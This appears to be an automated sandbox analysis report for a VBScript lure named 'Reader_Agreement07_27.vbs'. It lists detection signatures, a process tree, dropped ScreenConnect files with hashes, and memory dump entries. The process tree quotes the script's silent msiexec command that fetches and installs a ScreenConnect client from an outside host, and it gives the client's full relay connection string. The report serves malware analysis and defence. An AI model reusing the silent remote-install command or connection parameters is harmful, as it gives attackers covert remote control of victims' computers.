Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 00:11

General

  • Target
    Reader_Agreement07_27.vbs
  • Size 217B
  • Sample260804-agylfssvaz
  • SHA256 87002e824f9a9cf99addccdab657c6b2e9cf37f5e316b573bc36b8e722593ee0
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 24 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reader_Agreement07_27.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:5856
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i https://bookcarriage.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest /quiet /norestart
      2⤵
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5112
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding CC6D7D4D9AD456031A149EF0FA19D897
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3652
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI8EAB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240750531 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3268
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D2DF6600FBBD344BFD7A400D60C405B8 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6092
  • C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-nyhu6g-relay.screenconnect.com&p=443&s=99822e16-a5c8-4cff-a3ec-38860573abe8&k=BgIAAACkAABSU0ExAAgAAAEAAQDlPAAjW4ms7tI7NTOPZChMHD2F3VL85TWoE%2bz6E9FdTjq8qx9jQSeYFu7tiWOF9c%2fJrTRFUXi8DXWJXgqH553oX%2fn9vzE4hd8fPnyK1rAOGteWauQ0OCwAeheJAPyGYqbU6Xnnyv8zrnQqEHYCSk3l50WHm1qduL7s%2f5RRcXpRv9INIXc%2fh3UoX7dM8uWNk8E74m44bel3lCSVQhHgnwAVgjruWvKFSQppQVj9q8QcChNzpeYbIXuFm1xnq80JTT3xCLQCBfPa9%2fvBnwh4tpA64ZCci4V8H14GUKM0irbtiSYyKunYD4LGOfB5ZIJufZ59WfLzGwMncCBeJ6kFCDmn"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:844
    • C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe" "RunRole" "14d2baa3-b39a-4c05-ac87-83be30cdab94" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5952
    • C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe" "RunRole" "1184e558-99e5-4252-94c3-590a45abc450" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3584

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e5994f5.rbs

        • Path C:\Config.Msi\e5994f5.rbs
        • Size 214KB
        • SHA256 cbf347e3b420954752bf0a09ba7aa0a3176a9fac6f1efa56a853b4937d644e52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 4010ea184982e71ad71e76b43266488c954f665324b89ef042cea9e463a60c9d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.dll
        • Size 91KB
        • SHA256 6e6aa42b107d3e82b7b7dc18a75eee3f09e9f268788c0a7edbbc617152adf178
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 a94ecccb5b88e3860d619fbb3b87ff4af6448240ab65b89d610f348d75e793f2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.Core.dll
        • Size 577KB
        • SHA256 eedbd9ba4755f238af397c71b575082e18a31eabacc22abb4949f92fe991e169
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 305663a05c77c8058569a976db740aa2f20b66583f0381059633b628376570fc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe
        • Size 676KB
        • SHA256 f49ca44ae19ec33053d76aeca7136193095b6583888a0be063b8120c3c9226c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 ce75ee1188726b49d46477166faac6f8715ca1aa4afc5b8a687fcbfcd541c0c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (31eb93eb9af6d619)\system.config
        • Size 956B
        • SHA256 207c59f52766bde13b9a4ff1e20da5eca7b5e793c9fbfa5955bb65ff6b03a4cb
        • MD5 SHA1 SHA512 TLSH

        MSI8469.tmp

        • Path C:\Windows\Installer\MSI8469.tmp
        • Size 9.8MB
        • SHA256 78a88a88627cf823af3c9bd04b9b69ec487a933de10d2a7da241ba74ce3bc613
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI8EAB.tmp

        • Path C:\Windows\Installer\MSI8EAB.tmp
        • Size 1.1MB
        • SHA256 18bacfd2a7c95800b6279cb8731bf03c8bbb526f5bc3790254a8e06d7ceee8ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI8EAB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI8EAB.tmp-\ScreenConnect.Core.dll
        • Size 567KB
        • SHA256 15fec18d3a8990cdb540897ede61227353165668048c001164fcd22233cc8390
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI8EAB.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 c1142cc3ae09a7d3b5392539c29cbeb585543a38c93e37e55d82cbe0bb56d588
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI8EAB.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 ae3005e1ca932eccde09c479fde2ecf8ea2feeb908dec4f0c830eab671276454
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI95D1.tmp

        • Path C:\Windows\Installer\MSI95D1.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        t23rm0vq.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (31eb93eb9af6d619)\t23rm0vq.newcfg
        • Size 883B
        • SHA256 0873e0f42a56efefa47ce075c7e546bcd06af5ddff994779022e3e6aa77c6cfc
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (31eb93eb9af6d619)\user.config
        • Size 520B
        • SHA256 214d2abc93330697b928ccad4c5fa68770377a92f0d3361cd82220e12fac53ca
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (31eb93eb9af6d619)\user.config
        • Size 683B
        • SHA256 2f9c162d9e792b1fa8588b8a9cc8cddcf122e140ffed5d0477b0c0d6d31cb1fb
        • MD5 SHA1 SHA512 TLSH

        memory/844-121-0x0000000004720000-0x0000000004761000-memory.dmp

        memory/844-101-0x00000000046D0000-0x0000000004720000-memory.dmp

        memory/844-88-0x00000000047F0000-0x00000000049A0000-memory.dmp

        memory/844-118-0x00000000049A0000-0x0000000004A0C000-memory.dmp

        memory/844-119-0x0000000004A10000-0x0000000004AA2000-memory.dmp

        memory/844-84-0x00000000045A0000-0x0000000004634000-memory.dmp

        memory/844-78-0x0000000001E80000-0x0000000001E9A000-memory.dmp

        memory/844-123-0x0000000004C00000-0x0000000004CD6000-memory.dmp

        memory/3268-39-0x0000000006360000-0x0000000006510000-memory.dmp

        memory/3268-41-0x0000000006AD0000-0x000000000708A000-memory.dmp

        memory/3268-35-0x00000000040D0000-0x0000000004164000-memory.dmp

        memory/3268-31-0x0000000003FD0000-0x0000000003FDC000-memory.dmp

        memory/3268-27-0x0000000004000000-0x000000000402E000-memory.dmp

        memory/4516-40-0x0000018119550000-0x0000018119EF4000-memory.dmp

        memory/5952-143-0x000000001B350000-0x000000001B3BC000-memory.dmp

        memory/5952-142-0x0000000000660000-0x000000000070E000-memory.dmp

        memory/5952-144-0x000000001B760000-0x000000001B7F4000-memory.dmp

        memory/5952-145-0x000000001BAB0000-0x000000001BC60000-memory.dmp

        memory/5952-146-0x0000000000F90000-0x0000000000FAA000-memory.dmp

        memory/5952-147-0x000000001BC60000-0x000000001BDE8000-memory.dmp